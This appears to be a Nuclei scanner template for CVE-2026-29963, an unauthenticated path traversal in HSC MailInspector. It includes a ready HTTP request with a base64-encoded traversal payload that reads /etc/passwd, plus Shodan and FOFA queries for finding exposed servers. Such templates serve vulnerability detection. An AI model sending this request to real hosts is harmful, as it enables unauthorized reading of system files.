漏洞描述
HSC MailInspector 5.3.3-7 contains a path traversal caused by improper validation of user-supplied input in /tap/dw.php text parameter, letting remote attackers access arbitrary files, exploit requires crafted request.
id: CVE-2026-29963
info:
name: HSC MailInspector - Unauthenticated Arbitrary File Read
author: str4k3r
severity: high
description: |
HSC MailInspector 5.3.3-7 contains a path traversal caused by improper validation of user-supplied input in /tap/dw.php text parameter, letting remote attackers access arbitrary files, exploit requires crafted request.
impact: |
Remote attackers can access arbitrary files, leading to unauthorized disclosure of sensitive information.
remediation: |
Update to the latest version.
reference:
- https://github.com/sql3t0/cve-disclosures/blob/main/02_-_CVE-2026-29963_LFI%2BPath_Traversal.md
- https://nvd.nist.gov/vuln/detail/CVE-2026-29963
- https://hsclabs.com/pt-br/mailinspector/
classification:
cve-id: CVE-2026-29963
cwe-id: CWE-22
cvss-score: 7.5
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
metadata:
verified: true
max-request: 1
vendor: hsclabs
product: mailinspector
shodan-query: http.html:"mailinspector"
fofa-query: body="mailinspector"
tags: cve,cve2026,mailinspector,lfi,traversal,unauth
http:
- raw:
- |
GET /mailinspector/tap/dw.php?name&sha1&ext=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA%3D%3D HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
part: body
regex:
- "root:.*:0:0:"
# digest: 4a0a00473045022100d79b80cb947e2ba59c028d1e09c148fb54b7104e740ea57c512199bfd844be46022029c5e8f2c6b1f963ef7987f464cf50f0616d29fc5101e97f2179f541b84c32bb:922c64590222798bb761d5b6d8e72950